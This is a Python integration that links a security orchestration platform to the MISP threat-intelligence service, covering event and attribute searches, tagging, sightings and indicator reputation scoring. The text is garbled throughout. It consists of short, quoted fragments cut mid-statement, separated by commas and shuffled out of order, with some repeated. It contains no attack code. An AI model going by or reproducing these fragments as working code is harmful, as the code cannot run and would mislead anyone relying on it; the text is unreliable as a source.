misp_attributes_args: non_req_args =","exist\" else: pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-attributes returned","demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is not None:","in error: return_error('Unable to connect to MISP because of a NewConnectionError, ' 'Please","not found in MISP. please check it once again\") new_event = response[0] #","'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen',","= demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid if not att_id:","'{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution","'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif","dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in MISP\") indicator = get_dbot_indicator(dbot_type,","value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict):","found_related_events = {} if not attributes_list: return None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\")","score will be BAD if the threat level id is in [1,2,3]. Otherwise,","== 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations')","{event_id} has been successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event )","reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value,","`{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\"Removing the required tag was failed. Please","build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object","id that exists in both sets, it will be removed from the suspicious","str, obj: MISPObject): \"\"\"Sending object to MISP and returning outputs Args: obj: object","can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\"","threat level is 4 = Unknown. note: - In case the same tag","attribute tags ones as it is part of the event scope). If the","ID of event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise","the operators is optional. if 'demisto_query' does not contains any of the complex","sub-functions calculated the score of the indicator. For the context data outputs, for","f'Object has been added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',","'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event","except PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in","'FILE': # hashFormat will be used only in output hash_format = get_hash_type(value) if","outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}] is not a","if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag,","parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command","CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test","{event_id} was not found in MISP. please check it once again\") new_event =","the attributes amount, we sort the attributes list by the event ids as","return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will be","= object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') == found_tag: event_id =","regexFlags).match(value): raise DemistoException(f\"Error: The given email address: {value} is not valid\") def get_indicator_results(value,","input will be returned Returns: str: dictionary created for misp to perform complex","As tag list can be full of in unnecessary data, we want to","is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator,","\"\"\" return [{k: v} for k, v in args.items()] def build_generic_object(template_name: str, args:","r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and,","'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids,","return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting all the","= demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in","decoded, may not a valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_',","update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute)","[] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects =","= demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips =","str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for i","V3]: args for {demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response],","event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if","'2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str,","'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else","error: return_error('Unable to connect to MISP because of a SSLCertVerificationError, ' 'Please try","function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag","MISP server url is correct.') if \"Please make sure the API key and","tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag #","of attributes' values that match the search query when user set the arg","demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid if not att_id: raise","\"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags',","Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace","if arg in demisto_args} # Replacing keys and values from Demisto to Misp's","be recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits","one (as a tag that was configured to be malicious is stronger than","return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if page and page","def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in","return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command","misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids,","dbot score. The score is calculated by the tags ids (attribute tags and","misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or","found_tag_name = \"\", \"\" for event in events_to_human_readable: # removing those fields as","an attribute we would like to add it to tag_set_ids. In any other","IP address, email address, domain, url or file hash). dbot_type (str): Indicator type","if key in events[i]} events[i]['RelatedEvent'] = [] # there is no need in","to context data (array of attributes). score: the indicator score found_tag: the tag","This function searches for all the events that have the tag (i.e found_tag)","= is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or","event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object):","2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE","malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable')","added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def","event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object","information is too big. User can use the command search-attributes in order to","{event_id} has not found in MISP: \\nError message: {response}') else: human_readable = f'Event","{key: events[i].get(key) for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = []","attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag","raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events found in MISP","not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\"Error: An","controller='attributes', value=value) human_readable = f\"## MISP add attribute\\nNew attribute: {value} was added to","= {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i])","20), \"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args =","if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0","attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))","id is in [1,2,3]. Otherwise, the threat level is 4 = Unknown. note:","\\'{sighting_type}\\' has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error","template_name: template name as described in https://github.com/MISP/misp-objects args: arguments to create the generic","the attributes amount to the given limit) and by sub-functions calculated the score","too big. User can use the command search-attributes in order to get the","= replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute or event, depends on","args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in","== 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute':","MISP search using the 'event' controller. \"\"\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page',","is set to 0 or not exists) it says that it is an","FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a domain object to MISP","return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in ['__main__', '__builtin__', 'builtins']: main()","test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None","MISP because of a SSLCertVerificationError, ' 'Please try to use the Trust any","'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation',","PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"## MISP add attribute\\nNew attribute: {value} was added","or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search","Key. Fill in a valid key in the integration configuration.') MISP_URL = params.get('url')","if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if","for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and values","we would like to add it to tag_set_ids. In any other case, we","If so, the event will be added to related_events list Args: object_data_dict (dict):","not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given email address: {value} is not valid\")","by following logic. Indicators of attributes and Events that: * have tags which","] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting","demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids,","as delimiter for operators. using the operators is optional. if 'demisto_query' does not","\"\"\" output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag","= limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute,","feed from url and publishing them to MISP urls with feeds for example:","are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\" Convert","was scored as malicious or suspicious. event_name (str): Name of the event \"\"\"","given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for","'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published',","reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability,","command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command","a field called inherited. When it is set to 1 it says that","that it is an event's tag. Otherwise (if it is set to 0","command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event':","as the greater event ids are the newer ones. Returns: response (dict): The","attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if","tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited', 0) #","r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query,","event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id =","raise DemistoException(\"Adding the required tag was failed. Please make sure the UUID exists.\")","str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if","+ 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the given","and the event's attribute tags ones as it is part of the event","0: raise DemistoException(\"page should be zero or a positive number\") if limit and","ones. Otherwise, the data is attribute's (attribute tags). \"\"\" output = [] tag_set_ids","attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event","if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if","data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \"FILE\": hash_type = get_hash_type(value)","str, args: List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name: template name as described in","match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not,","successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response","url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query","misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"] for event in found_related_events.values():","raise DemistoException(f\"Error: The given url: {value} is not valid\") if dbot_type == 'EMAIL':","not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else","url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment':","attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))","Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id =","the event will be added to related_events list Args: object_data_dict (dict): Event or","def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)]","args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0 if 'from' in","else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format:","return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \"\"\"","not valid\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The","complex operators the original input will be returned Returns: str: dictionary created for","'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID',","template name as described in https://github.com/MISP/misp-objects args: arguments to create the generic object","input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params =","of a SSLCertVerificationError, ' 'Please try to use the Trust any certificate option.')","limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to","args dict into a list, please see GenericObjectGenerator Class in Pymisp. Args: args:","] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args)","event or attribute. is_attribute (bool): if the given UUID belongs to an attribute","for more information and examples please see UT: test_extract_error. Args: error: list of","'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization","to 0 or not exists) it says that it is an attribute's tag.","the outputs will be a list of attributes along with their events objects.","suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function searches for the given attribute value in","return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute or event, depends on the called","else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else","= replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids =","get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes,","== 'FILE': # hashFormat will be used only in output hash_format = get_hash_type(value)","'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting',","has been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response),","the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args:","'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj =","score. attributes_limit (int) : Limits the number of attributes that will be written","== 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args))","re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters')","attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"## MISP add attribute\\nNew attribute:","sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting()","urllib3.disable_warnings() # Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params =","is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious:","event def create_event_command(demisto_args: dict): \"\"\"Creating event in MISP with the given attribute args\"\"\"","Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list can be","# no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None","set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id not","can be called as an independence command or as part of another command","'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ] def","valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function searches for","'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore',","The tag that was scored as malicious or suspicious. If no tag was","not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag","\"\"\" pass # Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn =","same object type that got in \"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for","and tag exist.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag}","list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat Level","'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id',","attribute we would like to add it to tag_set_ids. In any other case,","in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and values from Demisto","Args: all_attributes (dict): The parsed response from the MISP search attribute request found_tag","page size: {limit}\\n\" if len(response_for_context) == limit: pagination_message += f\"Showing page {page} out","data (array of attributes). score: the indicator score found_tag: the tag (id) which","return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds sighting","'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \"\"\" Extracting errors raised by","0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true'","# type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name')","MISP response (1546713469) and converts it to human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ')","MISP. please check it once again\") new_event = response[0] # response[0] is MISP","event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True return False",") # event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been","'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \"\"\" Extracting errors","tag list. is_event_level (bool): Whether the attribute_dict was received from an event object,","== 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e))","warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY","True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator","\"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict()","Args: object_data_dict (dict): Event or attribute dict which includes tags list. found_tag (str):","in both Malicious tag ids and Suspicious tag ids lists the indicator will","for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response","converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip'))","dict which includes tags list. found_tag (str): The tag that was scored as","saved words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter for parameters and","raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\"Removing the required tag","DemistoException('Invalid hash length, enter file hash of format MD5, SHA-1 or SHA-256') if","from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator","malicious. suspicious_tag_ids (set): Tag ids should be recognised as suspicious reliability (DBotScoreReliability): integration","Replacing keys from MISP's format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build","= [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse","created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int =","= sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level =","= event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event","a positive integer, please change the given: '{tag}' id.\") except ValueError: raise DemistoException(f\"Tag","key in events[i]} events[i]['RelatedEvent'] = [] # there is no need in returning","the attribute_dict was received from an event object, meaning the tags are event's","for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return","into readable response, for more information and examples please see UT: test_extract_error. Args:","parameter could not be decoded, may not a valid JSON\\nattribute: {attributes}', str(e)) def","can be full of in unnecessary data, we want to limit this list","was failed. Please make sure the UUID exists.\") if is_attribute: response = PYMISP.search(uuid=uuid,","return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif","'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k: v} for k, v in","\"\"\" Execute a MISP search using the 'event' controller. \"\"\" args = prepare_args_to_search('events')","id.\") except ValueError: raise DemistoException(f\"Tag id has to be a positive integer, please","appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace keys in","events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level):","malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag ids (each one is","in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [","list) -> List[dict]: \"\"\" Extracting errors raised by PYMISP into readable response, for","be added to that existing event. \"\"\" attributes_args = { 'id': demisto_args.get('event_id'), #","tags and galaxies lists. Eventually, the outputs will be a list of attributes","malicious or suspicious. If no tag was found, then the score is Unknown","does not contains any of the complex operators the original input will be","'description': star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object']","attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid","test_build_misp_complex_filter. For more information please see build_complex_query in 